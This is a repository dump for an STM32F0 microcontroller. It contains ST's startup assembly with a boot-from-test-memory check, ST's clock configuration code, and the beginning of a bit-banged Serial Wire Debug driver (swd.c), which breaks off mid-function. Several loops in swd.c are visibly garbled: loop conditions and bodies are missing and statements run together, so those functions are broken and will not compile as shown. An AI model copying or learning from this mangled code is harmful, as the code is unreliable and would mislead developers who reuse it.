STMicroelectronics 2 | 3 | Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); 4 | You may not use this file except in compliance with the License. 5 | You may obtain a copy of the License at: 6 | 7 | http://www.st.com/software_license_agreement_liberty_v2 8 | 9 | Unless required by applicable law or agreed to in writing, software 10 | distributed under the License is distributed on an "AS IS" BASIS, 11 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | See the License for the specific language governing permissions and 13 | limitations under the License. 14 | -------------------------------------------------------------------------------- /st/startup_stm32f0.S: -------------------------------------------------------------------------------- 1 | /** 2 | ****************************************************************************** 3 | * @file startup_stm32f051.s 4 | * @author MCD Application Team 5 | * @version V1.3.2 6 | * @date 27-March-2014 7 | * @brief STM32F051 Devices vector table for Atollic toolchain. 8 | * This module performs: 9 | * - Set the initial SP 10 | * - Set the initial PC == Reset_Handler, 11 | * - Set the vector table entries with the exceptions ISR address 12 | * - Configure the system clock 13 | * - Branches to main in the C library (which eventually 14 | * calls main()). 15 | * After Reset the Cortex-M0 processor is in Thread mode, 16 | * priority is Privileged, and the Stack is set to Main. 17 | ****************************************************************************** 18 | * @attention 19 | * 20 | *

© COPYRIGHT 2014 STMicroelectronics

21 | * 22 | * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); 23 | * You may not use this file except in compliance with the License. 24 | * You may obtain a copy of the License at: 25 | * 26 | * http://www.st.com/software_license_agreement_liberty_v2 27 | * 28 | * Unless required by applicable law or agreed to in writing, software 29 | * distributed under the License is distributed on an "AS IS" BASIS, 30 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 31 | * See the License for the specific language governing permissions and 32 | * limitations under the License. 33 | * 34 | ****************************************************************************** 35 | */ 36 | 37 | .syntax unified 38 | .cpu cortex-m0 39 | .fpu softvfp 40 | .thumb 41 | 42 | .global g_pfnVectors 43 | .global Default_Handler 44 | 45 | /* start address for the initialization values of the .data section. 46 | defined in linker script */ 47 | .word _sidata 48 | /* start address for the .data section. defined in linker script */ 49 | .word _sdata 50 | /* end address for the .data section. defined in linker script */ 51 | .word _edata 52 | /* start address for the .bss section. defined in linker script */ 53 | .word _sbss 54 | /* end address for the .bss section. defined in linker script */ 55 | .word _ebss 56 | 57 | .section .text.Reset_Handler 58 | .weak Reset_Handler 59 | .type Reset_Handler, %function 60 | Reset_Handler: 61 | ldr r0, =_estack 62 | mov sp, r0 /* set stack pointer */ 63 | 64 | /*Check if boot space corresponds to test memory*/ 65 | 66 | LDR R0,=0x00000004 67 | LDR R1, [R0] 68 | LSRS R1, R1, #24 69 | LDR R2,=0x1F 70 | CMP R1, R2 71 | BNE ApplicationStart 72 | 73 | /*SYSCFG clock enable*/ 74 | 75 | LDR R0,=0x40021018 76 | LDR R1,=0x00000001 77 | STR R1, [R0] 78 | 79 | /*Set CFGR1 register with flash memory remap at address 0*/ 80 | LDR R0,=0x40010000 81 | LDR R1,=0x00000000 82 | STR R1, [R0] 83 | 84 | ApplicationStart: 85 | /* Copy the data segment initializers from flash to SRAM */ 86 | movs r1, #0 87 | b LoopCopyDataInit 88 | 89 | CopyDataInit: 90 | ldr r3, =_sidata 91 | ldr r3, [r3, r1] 92 | str r3, [r0, r1] 93 | adds r1, r1, #4 94 | 95 | LoopCopyDataInit: 96 | ldr r0, =_sdata 97 | ldr r3, =_edata 98 | adds r2, r0, r1 99 | cmp r2, r3 100 | bcc CopyDataInit 101 | ldr r2, =_sbss 102 | b LoopFillZerobss 103 | /* Zero fill the bss segment. */ 104 | FillZerobss: 105 | movs r3, #0 106 | str r3, [r2] 107 | adds r2, r2, #4 108 | 109 | 110 | LoopFillZerobss: 111 | ldr r3, = _ebss 112 | cmp r2, r3 113 | bcc FillZerobss 114 | 115 | /* Do not do any initialization */ 116 | /* Call the clock system intitialization function.*/ 117 | /* bl SystemInit*/ 118 | /* Call static constructors */ 119 | /* bl __libc_init_array*/ 120 | /* Call the application's entry point.*/ 121 | bl main 122 | 123 | LoopForever: 124 | b LoopForever 125 | 126 | 127 | .size Reset_Handler, .-Reset_Handler 128 | 129 | /** 130 | * @brief This is the code that gets called when the processor receives an 131 | * unexpected interrupt. This simply enters an infinite loop, preserving 132 | * the system state for examination by a debugger. 133 | * 134 | * @param None 135 | * @retval : None 136 | */ 137 | .section .text.Default_Handler,"ax",%progbits 138 | Default_Handler: 139 | Infinite_Loop: 140 | b Infinite_Loop 141 | .size Default_Handler, .-Default_Handler 142 | /****************************************************************************** 143 | * 144 | * The minimal vector table for a Cortex M0. Note that the proper constructs 145 | * must be placed on this to ensure that it ends up at physical address 146 | * 0x0000.0000. 147 | * 148 | ******************************************************************************/ 149 | .section .isr_vector,"a",%progbits 150 | .type g_pfnVectors, %object 151 | .size g_pfnVectors, .-g_pfnVectors 152 | 153 | g_pfnVectors: 154 | .word _estack 155 | .word Reset_Handler 156 | 157 | .word NMI_Handler 158 | .word HardFault_Handler 159 | .word 0 160 | .word 0 161 | .word 0 162 | .word 0 163 | .word 0 164 | .word 0 165 | .word 0 166 | .word SVC_Handler 167 | .word 0 168 | .word 0 169 | .word PendSV_Handler 170 | .word SysTick_Handler 171 | 172 | 173 | .word WWDG_IRQHandler 174 | .word PVD_IRQHandler 175 | .word RTC_IRQHandler 176 | .word FLASH_IRQHandler 177 | .word RCC_IRQHandler 178 | .word EXTI0_1_IRQHandler 179 | .word EXTI2_3_IRQHandler 180 | .word EXTI4_15_IRQHandler 181 | .word TS_IRQHandler 182 | .word DMA1_Channel1_IRQHandler 183 | .word DMA1_Channel2_3_IRQHandler 184 | .word DMA1_Channel4_5_IRQHandler 185 | .word ADC1_COMP_IRQHandler 186 | .word TIM1_BRK_UP_TRG_COM_IRQHandler 187 | .word TIM1_CC_IRQHandler 188 | .word TIM2_IRQHandler 189 | .word TIM3_IRQHandler 190 | .word TIM6_DAC_IRQHandler 191 | .word 0 192 | .word TIM14_IRQHandler 193 | .word TIM15_IRQHandler 194 | .word TIM16_IRQHandler 195 | .word TIM17_IRQHandler 196 | .word I2C1_IRQHandler 197 | .word I2C2_IRQHandler 198 | .word SPI1_IRQHandler 199 | .word SPI2_IRQHandler 200 | .word USART1_IRQHandler 201 | .word USART2_IRQHandler 202 | .word 0 203 | .word CEC_IRQHandler 204 | .word 0 205 | 206 | /******************************************************************************* 207 | * 208 | * Provide weak aliases for each Exception handler to the Default_Handler. 209 | * As they are weak aliases, any function with the same name will override 210 | * this definition. 211 | * 212 | *******************************************************************************/ 213 | 214 | .weak NMI_Handler 215 | .thumb_set NMI_Handler,Default_Handler 216 | 217 | .weak HardFault_Handler 218 | .thumb_set HardFault_Handler,Default_Handler 219 | 220 | .weak SVC_Handler 221 | .thumb_set SVC_Handler,Default_Handler 222 | 223 | .weak PendSV_Handler 224 | .thumb_set PendSV_Handler,Default_Handler 225 | 226 | .weak SysTick_Handler 227 | .thumb_set SysTick_Handler,Default_Handler 228 | 229 | .weak WWDG_IRQHandler 230 | .thumb_set WWDG_IRQHandler,Default_Handler 231 | 232 | .weak PVD_IRQHandler 233 | .thumb_set PVD_IRQHandler,Default_Handler 234 | 235 | .weak RTC_IRQHandler 236 | .thumb_set RTC_IRQHandler,Default_Handler 237 | 238 | .weak FLASH_IRQHandler 239 | .thumb_set FLASH_IRQHandler,Default_Handler 240 | 241 | .weak RCC_IRQHandler 242 | .thumb_set RCC_IRQHandler,Default_Handler 243 | 244 | .weak EXTI0_1_IRQHandler 245 | .thumb_set EXTI0_1_IRQHandler,Default_Handler 246 | 247 | .weak EXTI2_3_IRQHandler 248 | .thumb_set EXTI2_3_IRQHandler,Default_Handler 249 | 250 | .weak EXTI4_15_IRQHandler 251 | .thumb_set EXTI4_15_IRQHandler,Default_Handler 252 | 253 | .weak TS_IRQHandler 254 | .thumb_set TS_IRQHandler,Default_Handler 255 | 256 | .weak DMA1_Channel1_IRQHandler 257 | .thumb_set DMA1_Channel1_IRQHandler,Default_Handler 258 | 259 | .weak DMA1_Channel2_3_IRQHandler 260 | .thumb_set DMA1_Channel2_3_IRQHandler,Default_Handler 261 | 262 | .weak DMA1_Channel4_5_IRQHandler 263 | .thumb_set DMA1_Channel4_5_IRQHandler,Default_Handler 264 | 265 | .weak ADC1_COMP_IRQHandler 266 | .thumb_set ADC1_COMP_IRQHandler,Default_Handler 267 | 268 | .weak TIM1_BRK_UP_TRG_COM_IRQHandler 269 | .thumb_set TIM1_BRK_UP_TRG_COM_IRQHandler,Default_Handler 270 | 271 | .weak TIM1_CC_IRQHandler 272 | .thumb_set TIM1_CC_IRQHandler,Default_Handler 273 | 274 | .weak TIM2_IRQHandler 275 | .thumb_set TIM2_IRQHandler,Default_Handler 276 | 277 | .weak TIM3_IRQHandler 278 | .thumb_set TIM3_IRQHandler,Default_Handler 279 | 280 | .weak TIM6_DAC_IRQHandler 281 | .thumb_set TIM6_DAC_IRQHandler,Default_Handler 282 | 283 | .weak TIM14_IRQHandler 284 | .thumb_set TIM14_IRQHandler,Default_Handler 285 | 286 | .weak TIM15_IRQHandler 287 | .thumb_set TIM15_IRQHandler,Default_Handler 288 | 289 | .weak TIM16_IRQHandler 290 | .thumb_set TIM16_IRQHandler,Default_Handler 291 | 292 | .weak TIM17_IRQHandler 293 | .thumb_set TIM17_IRQHandler,Default_Handler 294 | 295 | .weak I2C1_IRQHandler 296 | .thumb_set I2C1_IRQHandler,Default_Handler 297 | 298 | .weak I2C2_IRQHandler 299 | .thumb_set I2C2_IRQHandler,Default_Handler 300 | 301 | .weak SPI1_IRQHandler 302 | .thumb_set SPI1_IRQHandler,Default_Handler 303 | 304 | .weak SPI2_IRQHandler 305 | .thumb_set SPI2_IRQHandler,Default_Handler 306 | 307 | .weak USART1_IRQHandler 308 | .thumb_set USART1_IRQHandler,Default_Handler 309 | 310 | .weak USART2_IRQHandler 311 | .thumb_set USART2_IRQHandler,Default_Handler 312 | 313 | .weak CEC_IRQHandler 314 | .thumb_set CEC_IRQHandler,Default_Handler 315 | 316 | /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ 317 | -------------------------------------------------------------------------------- /st/system_stm32f0xx.c: -------------------------------------------------------------------------------- 1 | /** 2 | ****************************************************************************** 3 | * @file system_stm32f0xx.c 4 | * @author MCD Application Team 5 | * @version V1.4.0 6 | * @date 05-December-2014 7 | * @brief CMSIS Cortex-M0 Device Peripheral Access Layer System Source File. 8 | * This file contains the system clock configuration for STM32F0xx devices, 9 | * and is generated by the clock configuration tool 10 | * STM32F0xx_Clock_Configuration_V1.0.0.xls 11 | * 12 | * 1. This file provides two functions and one global variable to be called from 13 | * user application: 14 | * - SystemInit(): Setups the system clock (System clock source, PLL Multiplier 15 | * and Divider factors, AHB/APBx prescalers and Flash settings), 16 | * depending on the configuration made in the clock xls tool. 17 | * This function is called at startup just after reset and 18 | * before branch to main program. This call is made inside 19 | * the "startup_stm32f0xx.s" file. 20 | * 21 | * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used 22 | * by the user application to setup the SysTick 23 | * timer or configure other parameters. 24 | * 25 | * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must 26 | * be called whenever the core clock is changed 27 | * during program execution. 28 | * 29 | * 2. After each device reset the HSI (8 MHz Range) is used as system clock source. 30 | * Then SystemInit() function is called, in "startup_stm32f0xx.s" file, to 31 | * configure the system clock before to branch to main program. 32 | * 33 | * 3. If the system clock source selected by user fails to startup, the SystemInit() 34 | * function will do nothing and HSI still used as system clock source. User can 35 | * add some code to deal with this issue inside the SetSysClock() function. 36 | * 37 | * 4. The default value of HSE crystal is set to 8MHz, refer to "HSE_VALUE" define 38 | * in "stm32f0xx.h" file. When HSE is used as system clock source, directly or 39 | * through PLL, and you are using different crystal you have to adapt the HSE 40 | * value to your own configuration. 41 | * 42 | * 5. This file configures the system clock as follows: 43 | *============================================================================= 44 | * System Clock Configuration 45 | *============================================================================= 46 | * System Clock source | PLL(HSE) 47 | *----------------------------------------------------------------------------- 48 | * SYSCLK | 48000000 Hz 49 | *----------------------------------------------------------------------------- 50 | * HCLK | 48000000 Hz 51 | *----------------------------------------------------------------------------- 52 | * AHB Prescaler | 1 53 | *----------------------------------------------------------------------------- 54 | * APB1 Prescaler | 1 55 | *----------------------------------------------------------------------------- 56 | * APB2 Prescaler | 1 57 | *----------------------------------------------------------------------------- 58 | * HSE Frequency | 8000000 Hz 59 | *----------------------------------------------------------------------------- 60 | * PLL MUL | 6 61 | *----------------------------------------------------------------------------- 62 | * VDD | 3.3 V 63 | *----------------------------------------------------------------------------- 64 | * Flash Latency | 1 WS 65 | *----------------------------------------------------------------------------- 66 | *============================================================================= 67 | ****************************************************************************** 68 | * @attention 69 | * 70 | *

© COPYRIGHT 2014 STMicroelectronics

71 | * 72 | * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); 73 | * You may not use this file except in compliance with the License. 74 | * You may obtain a copy of the License at: 75 | * 76 | * http://www.st.com/software_license_agreement_liberty_v2 77 | * 78 | * Unless required by applicable law or agreed to in writing, software 79 | * distributed under the License is distributed on an "AS IS" BASIS, 80 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 81 | * See the License for the specific language governing permissions and 82 | * limitations under the License. 83 | * 84 | ****************************************************************************** 85 | */ 86 | 87 | #include "stm32f0xx.h" 88 | 89 | /** @addtogroup CMSIS 90 | * @{ 91 | */ 92 | 93 | /** @addtogroup stm32f0xx_system 94 | * @{ 95 | */ 96 | 97 | /** @addtogroup STM32F0xx_System_Private_Includes 98 | * @{ 99 | */ 100 | 101 | 102 | /** 103 | * @} 104 | */ 105 | 106 | /** @addtogroup STM32F0xx_System_Private_TypesDefinitions 107 | * @{ 108 | */ 109 | 110 | /** 111 | * @} 112 | */ 113 | 114 | /** @addtogroup STM32F0xx_System_Private_Defines 115 | * @{ 116 | */ 117 | /** 118 | * @} 119 | */ 120 | 121 | /** @addtogroup STM32F0xx_System_Private_Macros 122 | * @{ 123 | */ 124 | 125 | /** 126 | * @} 127 | */ 128 | 129 | /** @addtogroup STM32F0xx_System_Private_Variables 130 | * @{ 131 | */ 132 | uint32_t SystemCoreClock = 48000000; 133 | __I uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; 134 | 135 | /** 136 | * @} 137 | */ 138 | 139 | /** @addtogroup STM32F0xx_System_Private_FunctionPrototypes 140 | * @{ 141 | */ 142 | 143 | static void SetSysClock(void); 144 | 145 | /** 146 | * @} 147 | */ 148 | 149 | /** @addtogroup STM32F0xx_System_Private_Functions 150 | * @{ 151 | */ 152 | 153 | /** 154 | * @brief Setup the microcontroller system. 155 | * Initialize the Embedded Flash Interface, the PLL and update the 156 | * SystemCoreClock variable. 157 | * @param None 158 | * @retval None 159 | */ 160 | void SystemInit (void) 161 | { 162 | /* Set HSION bit */ 163 | RCC->CR |= (uint32_t)0x00000001; 164 | 165 | #if defined(STM32F051) 166 | /* Reset SW[1:0], HPRE[3:0], PPRE[2:0], ADCPRE and MCOSEL[2:0] bits */ 167 | RCC->CFGR &= (uint32_t)0xF8FFB80C; 168 | #else 169 | /* Reset SW[1:0], HPRE[3:0], PPRE[2:0], ADCPRE, MCOSEL[2:0], MCOPRE[2:0] and PLLNODIV bits */ 170 | RCC->CFGR &= (uint32_t)0x08FFB80C; 171 | #endif /* STM32F051 */ 172 | 173 | /* Reset HSEON, CSSON and PLLON bits */ 174 | RCC->CR &= (uint32_t)0xFEF6FFFF; 175 | 176 | /* Reset HSEBYP bit */ 177 | RCC->CR &= (uint32_t)0xFFFBFFFF; 178 | 179 | /* Reset PLLSRC, PLLXTPRE and PLLMUL[3:0] bits */ 180 | RCC->CFGR &= (uint32_t)0xFFC0FFFF; 181 | 182 | /* Reset PREDIV1[3:0] bits */ 183 | RCC->CFGR2 &= (uint32_t)0xFFFFFFF0; 184 | 185 | /* Reset USARTSW[1:0], I2CSW, CECSW and ADCSW bits */ 186 | RCC->CFGR3 &= (uint32_t)0xFFFFFEAC; 187 | 188 | /* Reset HSI14 bit */ 189 | RCC->CR2 &= (uint32_t)0xFFFFFFFE; 190 | 191 | /* Disable all interrupts */ 192 | RCC->CIR = 0x00000000; 193 | 194 | /* Configure the System clock frequency, AHB/APBx prescalers and Flash settings */ 195 | SetSysClock(); 196 | } 197 | 198 | /** 199 | * @brief Update SystemCoreClock according to Clock Register Values 200 | * The SystemCoreClock variable contains the core clock (HCLK), it can 201 | * be used by the user application to setup the SysTick timer or configure 202 | * other parameters. 203 | * 204 | * @note Each time the core clock (HCLK) changes, this function must be called 205 | * to update SystemCoreClock variable value. Otherwise, any configuration 206 | * based on this variable will be incorrect. 207 | * 208 | * @note - The system frequency computed by this function is not the real 209 | * frequency in the chip. It is calculated based on the predefined 210 | * constant and the selected clock source: 211 | * 212 | * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) 213 | * 214 | * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) 215 | * 216 | * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) 217 | * or HSI_VALUE(*) multiplied/divided by the PLL factors. 218 | * 219 | * (*) HSI_VALUE is a constant defined in stm32f0xx.h file (default value 220 | * 8 MHz) but the real value may vary depending on the variations 221 | * in voltage and temperature. 222 | * 223 | * (**) HSE_VALUE is a constant defined in stm32f0xx.h file (default value 224 | * 8 MHz), user has to ensure that HSE_VALUE is same as the real 225 | * frequency of the crystal used. Otherwise, this function may 226 | * have wrong result. 227 | * 228 | * - The result of this function could be not correct when using fractional 229 | * value for HSE crystal. 230 | * @param None 231 | * @retval None 232 | */ 233 | void SystemCoreClockUpdate (void) 234 | { 235 | uint32_t tmp = 0, pllmull = 0, pllsource = 0, prediv1factor = 0; 236 | 237 | /* Get SYSCLK source -------------------------------------------------------*/ 238 | tmp = RCC->CFGR & RCC_CFGR_SWS; 239 | 240 | switch (tmp) 241 | { 242 | case 0x00: /* HSI used as system clock */ 243 | SystemCoreClock = HSI_VALUE; 244 | break; 245 | case 0x04: /* HSE used as system clock */ 246 | SystemCoreClock = HSE_VALUE; 247 | break; 248 | case 0x08: /* PLL used as system clock */ 249 | /* Get PLL clock source and multiplication factor ----------------------*/ 250 | pllmull = RCC->CFGR & RCC_CFGR_PLLMULL; 251 | pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; 252 | pllmull = ( pllmull >> 18) + 2; 253 | 254 | if (pllsource == 0x00) 255 | { 256 | /* HSI oscillator clock divided by 2 selected as PLL clock entry */ 257 | SystemCoreClock = (HSI_VALUE >> 1) * pllmull; 258 | } 259 | else 260 | { 261 | prediv1factor = (RCC->CFGR2 & RCC_CFGR2_PREDIV1) + 1; 262 | /* HSE oscillator clock selected as PREDIV1 clock entry */ 263 | SystemCoreClock = (HSE_VALUE / prediv1factor) * pllmull; 264 | } 265 | break; 266 | default: /* HSI used as system clock */ 267 | SystemCoreClock = HSI_VALUE; 268 | break; 269 | } 270 | /* Compute HCLK clock frequency ----------------*/ 271 | /* Get HCLK prescaler */ 272 | tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; 273 | /* HCLK clock frequency */ 274 | SystemCoreClock >>= tmp; 275 | } 276 | 277 | /** 278 | * @brief Configures the System clock frequency, AHB/APBx prescalers and Flash 279 | * settings. 280 | * @note This function should be called only once the RCC clock configuration 281 | * is reset to the default reset state (done in SystemInit() function). 282 | * @param None 283 | * @retval None 284 | */ 285 | static void SetSysClock(void) 286 | { 287 | __IO uint32_t StartUpCounter = 0, HSEStatus = 0; 288 | 289 | /* SYSCLK, HCLK, PCLK configuration ----------------------------------------*/ 290 | /* Enable HSE */ 291 | RCC->CR |= ((uint32_t)RCC_CR_HSEON); 292 | 293 | /* Wait till HSE is ready and if Time out is reached exit */ 294 | do 295 | { 296 | HSEStatus = RCC->CR & RCC_CR_HSERDY; 297 | StartUpCounter++; 298 | } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); 299 | 300 | if ((RCC->CR & RCC_CR_HSERDY) != RESET) 301 | { 302 | HSEStatus = (uint32_t)0x01; 303 | } 304 | else 305 | { 306 | HSEStatus = (uint32_t)0x00; 307 | } 308 | 309 | if (HSEStatus == (uint32_t)0x01) 310 | { 311 | /* Enable Prefetch Buffer and set Flash Latency */ 312 | FLASH->ACR = FLASH_ACR_PRFTBE | FLASH_ACR_LATENCY; 313 | 314 | /* HCLK = SYSCLK */ 315 | RCC->CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; 316 | 317 | /* PCLK = HCLK */ 318 | RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE_DIV1; 319 | 320 | /* PLL configuration = HSE * 6 = 48 MHz */ 321 | RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); 322 | RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC_PREDIV1 | RCC_CFGR_PLLXTPRE_PREDIV1 | RCC_CFGR_PLLMULL6); 323 | 324 | /* Enable PLL */ 325 | RCC->CR |= RCC_CR_PLLON; 326 | 327 | /* Wait till PLL is ready */ 328 | while((RCC->CR & RCC_CR_PLLRDY) == 0) 329 | { 330 | } 331 | 332 | /* Select PLL as system clock source */ 333 | RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); 334 | RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; 335 | 336 | /* Wait till PLL is used as system clock source */ 337 | while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)RCC_CFGR_SWS_PLL) 338 | { 339 | } 340 | } 341 | else 342 | { /* If HSE fails to start-up, the application will have wrong clock 343 | configuration. User can add here some code to deal with this error */ 344 | } 345 | } 346 | 347 | /** 348 | * @} 349 | */ 350 | 351 | /** 352 | * @} 353 | */ 354 | 355 | /** 356 | * @} 357 | */ 358 | 359 | /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ 360 | -------------------------------------------------------------------------------- /swd.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #include "main.h" 10 | #include "swd.h" 11 | #include "clk.h" 12 | #include "target.h" 13 | 14 | #define MWAIT __asm__ __volatile__( \ 15 | ".syntax unified \n" \ 16 | " movs r0, #0x30 \n" \ 17 | "1: subs r0, #1 \n" \ 18 | " bne 1b \n" \ 19 | ".syntax divided" : : : \ 20 | "cc", "r0") 21 | 22 | #define N_READ_TURN (3u) 23 | 24 | 25 | static uint8_t swdParity( uint8_t const * data, uint8_t const len ); 26 | static void swdDatasend( uint8_t const * data, uint8_t const len ); 27 | static void swdDataIdle( void ); 28 | static void swdDataPP( void ); 29 | static void swdTurnaround( void ); 30 | static void swdReset( void ); 31 | static void swdDataRead( uint8_t * const data, uint8_t const len ); 32 | static void swdBuildHeader( swdAccessDirection_t const adir, swdPortSelect_t const portSel, uint8_t const A32, uint8_t * const header); 33 | static swdStatus_t swdReadPacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t * const data ); 34 | static swdStatus_t swdWritePacket( swdPortSelect_t const portSel, uint8_t const A32, uint32_t const data ); 35 | static swdStatus_t swdReadAP0( uint32_t * const data ); 36 | 37 | #ifdef UNUSED_EXPERIMENTAL 38 | static swdStatus_t swdReadDPCtrl( uint32_t * const data ); 39 | static swdStatus_t swdReadAPCtrl( uint32_t * const data ); 40 | static swdStatus_t swdReadWIREMODE( uint32_t * const data ); 41 | static swdStatus_t swdReadDHCSR( uint32_t * const data ); 42 | static swdStatus_t swdWriteAHBAddr( uint32_t const addr, uint32_t const data ); 43 | static swdStatus_t swdCoreHalt( void ); 44 | static swdStatus_t swdGetRegister( uint8_t const regId, uint32_t * const data ); 45 | #endif 46 | 47 | 48 | void swdCtrlInit( void ) 49 | { 50 | RCC->AHBENR |= RCC_AHBENR_GPIO_SWDIO; 51 | RCC->AHBENR |= RCC_AHBENR_GPIO_SWCLK; 52 | 53 | GPIO_SWDIO->MODER |= (0x01u << (PIN_SWDIO << 1u)); 54 | GPIO_SWCLK->MODER |= (0x01u << (PIN_SWCLK << 1u)); 55 | 56 | GPIO_SWDIO->OSPEEDR |= (0x03 << (PIN_SWDIO << 1u)); 57 | GPIO_SWCLK->OSPEEDR |= (0x03 << (PIN_SWCLK << 1u)); 58 | 59 | /* pulldown for clk, pullup for swdio */ 60 | GPIO_SWDIO->PUPDR |= (0x01u << (PIN_SWDIO << 1u)); 61 | GPIO_SWCLK->PUPDR |= (0x02u << (PIN_SWCLK << 1u)); 62 | 63 | return ; 64 | } 65 | 66 | 67 | static uint8_t swdParity( uint8_t const * data, uint8_t const len ) 68 | { 69 | uint8_t par = 0u; 70 | uint8_t cdata = 0u; 71 | uint8_t i = 0u; 72 | 73 | for (i=0u; i>= 1u; 83 | } 84 | 85 | return par; 86 | } 87 | 88 | 89 | static void swdDatasend( uint8_t const * data, uint8_t const len ) 90 | { 91 | uint8_t cdata = 0u; 92 | uint8_t i = 0u; 93 | 94 | for (i=0u; iBSRR = (0x01u << (PIN_SWDIO + BSRR_SET)); 105 | } 106 | else 107 | { 108 | GPIO_SWDIO->BSRR = (0x01u << (PIN_SWDIO + BSRR_CLEAR)); 109 | } 110 | MWAIT; 111 | 112 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_SET)); 113 | MWAIT; 114 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_CLEAR)); 115 | cdata >>= 1u; 116 | MWAIT; 117 | } 118 | 119 | return ; 120 | } 121 | 122 | 123 | static void swdDataIdle( void ) 124 | { 125 | GPIO_SWDIO->BSRR = (0x01u << (PIN_SWDIO)); 126 | MWAIT; 127 | GPIO_SWDIO->MODER &= ~(0x03u << (PIN_SWDIO << 1u)); 128 | MWAIT; 129 | 130 | return ; 131 | } 132 | 133 | 134 | static void swdDataPP( void ) 135 | { 136 | MWAIT; 137 | GPIO_SWDIO->BSRR = (0x01u << (PIN_SWDIO + BSRR_CLEAR)); 138 | GPIO_SWDIO->MODER |= (0x01u << (PIN_SWDIO << 1u)); 139 | MWAIT; 140 | 141 | return ; 142 | } 143 | 144 | 145 | static void swdTurnaround( void ) 146 | { 147 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_SET)); 148 | MWAIT; 149 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_CLEAR)); 150 | MWAIT; 151 | 152 | return ; 153 | } 154 | 155 | 156 | static void swdDataRead( uint8_t * const data, uint8_t const len ) 157 | { 158 | uint8_t i = 0u; 159 | uint8_t cdata = 0u; 160 | 161 | MWAIT; 162 | swdDataIdle(); 163 | MWAIT; 164 | 165 | for (i=0u; i>= 1u; 169 | cdata |= (GPIO_SWDIO->IDR & (0x01u << (PIN_SWDIO))) ? 0x80u : 0x00u; 170 | data[(((len + 7u) >> 3u) - (i >> 3u)) - 1u] = cdata; 171 | 172 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_SET)); 173 | MWAIT; 174 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_CLEAR)); 175 | MWAIT; 176 | 177 | /* clear buffer after reading 8 bytes */ 178 | if ((i & 0x07u) == 0x07u) 179 | { 180 | cdata = 0u; 181 | } 182 | } 183 | 184 | return ; 185 | } 186 | 187 | 188 | static void swdReset( void ) 189 | { 190 | uint8_t i = 0u; 191 | 192 | MWAIT; 193 | GPIO_SWDIO->ODR |= 0x01u << PIN_SWDIO; 194 | GPIO_SWCLK->ODR |= 0x01u << PIN_SWCLK; 195 | MWAIT; 196 | 197 | /* Switch from JTAG to SWD mode. Not required for SWD-only devices (STM32F0x). */ 198 | #ifdef DO_JTAG_RESET 199 | 200 | /* 50 clk+x */ 201 | for (i=0u; i < (50u + 10u); ++i) 202 | { 203 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_SET)); 204 | MWAIT; 205 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_CLEAR)); 206 | MWAIT; 207 | } 208 | 209 | uint8_t send1[] = {0u, 1u, 1u, 1u, 1u, 0u, 0u, 1u, 1u, 1u, 1u, 0u, 0u, 1u, 1u, 1u}; 210 | /* send 0111 1001 1110 0111 */ 211 | 212 | for (i = 0u; i < 16u; ++i) 213 | { 214 | if (send1[i]) 215 | GPIO_SWDIO->BSRR = (0x01u << (PIN_SWDIO + BSRR_SET)); 216 | else 217 | GPIO_SWDIO->BSRR = (0x01u << (PIN_SWDIO + BSRR_CLEAR)); 218 | 219 | MWAIT; 220 | 221 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_SET)); 222 | MWAIT; 223 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_CLEAR)); 224 | MWAIT; 225 | 226 | } 227 | #endif 228 | 229 | /* 50 clk+x */ 230 | for (i = 0u; i < (50u + 10u); ++i) 231 | { 232 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_SET)); 233 | MWAIT; 234 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_CLEAR)); 235 | MWAIT; 236 | } 237 | 238 | 239 | GPIO_SWDIO->BSRR = (0x01u << (PIN_SWDIO + BSRR_CLEAR)); 240 | 241 | for (i = 0u; i < 3u; ++i) 242 | { 243 | GPIO_SWCLK->BSRR = (0x01u << (PIN_SWCLK + BSRR_SET)); 244 